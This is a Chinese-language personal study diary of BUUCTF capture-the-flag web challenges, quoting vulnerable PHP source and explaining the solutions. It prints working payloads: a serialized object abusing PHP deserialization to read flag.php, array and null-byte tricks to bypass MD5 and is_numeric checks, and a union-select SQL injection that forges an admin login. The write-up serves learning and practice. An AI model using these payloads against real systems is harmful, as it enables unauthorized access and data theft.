2021/10/23-学习日记

1.BUUCTF刷题-[网鼎杯 2020 青龙组]AreUSerialz

看这个题目应该又是个反序列化漏洞+文件包含题目。这种题第一步肯定是先审计源码。

process();//$this代表实例化后的这个对象
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//判断content长度大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//将content写入文件,返回写入的字节数,失败时返回flase
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//将文件中的内容读入$res
        }
        return $res;
    }

    private function output($s) {//输出函数
        echo "[Result]: 
"; echo $s; } function __destruct() {//析构函数 if($this->op === "2")//强判断 $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) {//检查对象是否已经实例化 for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//要求串中的每个字符的ascll值在32-125之间(即为可打印字符) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str'];//转为字符串类型 if(is_valid($str)) { $obj = unserialize($str); } }

因为数据成员类型为protected,序列化后会在变量名前添加标记%00*%00,是不可打印字符,所以要先绕过is_valid()函数。两个办法:
1.PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
2.将代表字符串的s改为S,此时这个字符串就支持将后面的字符串用16进制表示。
绕过is_vaild检测后,我们要得到flag,那就要得到flag.php的内容,所以需要绕过op==1这个弱判断。
构造如下程序得到序列化内容:


//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

此处,因为对象obj已经在序列化时生成,所以不再调用构造函数,因为之后也没有任何语句,所以直接回调用析构函数。令op=2,可以绕过强判断,同时,不绕过弱判断。
然后查看返回页面的源码即可得到flag。(关于为什么要在源码中才能看到我不太理解)

1-1

或是使用php://filter伪协议,以base64编码读取flag也可以得到。

2.BUUCTF刷题-[MRCTF2020]Ez_bypass

这题的题目代码不换行的,实在反人类。在burp里读成合理的格式。

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

看题目是要绕过几个if判断。
第一个MD5绕过,可以用数组绕过。

?gg[]=1&id[]=2

然后要求post提交的数据通过is_numeric()函数判断,同时值要等于1234567.

passwd=1234567%00

然后就得到flag。很基础的题。

3.BUUCTF刷题-[GXYCTF2019]BabySQli

先随便输入账号密码,页面源码中回显一串字符。


//base32的编码表是由(A-Z、2-7)32个可见字符构成,“=”符号用作后缀填充。
//base64的编码表是由(A-Z、a-z、0-9、+、/)64个可见字符构成,“=”符号用作后缀填充。

字符串由大写字母和数字组成,大概是base32加密的密文。解密后发现是base64的密文,再次解密后得到:

select * from user where username = '$name'

可知表名为user,其中一个字段名为username。
经实验,注入点是username框,但是过滤了包括小括号、or、/、order by等在内的很多关键词。
看了一下题目的源码,逻辑是先判断账号是否为admin,然后再判断密码,其中,密码是用md5加密后保存在数据库中的。

if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        // echo '
';
        $arr = mysqli_fetch_row($result);
        // print_r($arr);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}

看了wp,构造的payload为:

name=x' union select 0,'admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1

这里有一个知识点:当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
所以这个payload的逻辑是这样的:
1.传入的'x'是不存在的数据,所以会临时构造一个" 0,'admin','c4ca4238a0b923820dcc509a6f75849b' "这样的数据。
//这里的x可以是任意除admin之外的字符;
//为什么说是临时的,因为数据库中不会实际出现这些数据,而是作为返回值出现;
//这里的0可以是任意数字;
//c4ca4238a0b923820dcc509a6f75849b是1的md5加密;
//可以用select 1,2,3来判断出表有三个字段;
//可以看到在代码中没有涉及到arr[0]的判断,所以第一个字段大概是类似于ip这样的数据;
2.这些数据会赋给$arr数组,此时这些数据配合传入的passwd=1刚好可以通过判断。
最后,返回flag。

3.BUUCTF刷题-[CISCN2019 华北赛区 Day2 Web1]Hack World

bool盲注,涉及到我的知识盲区了...
wp
得找时间补一下python相关的知识了,好久不编程都不会了


看比赛去咯..

你可能感兴趣的:(2021/10/23-学习日记)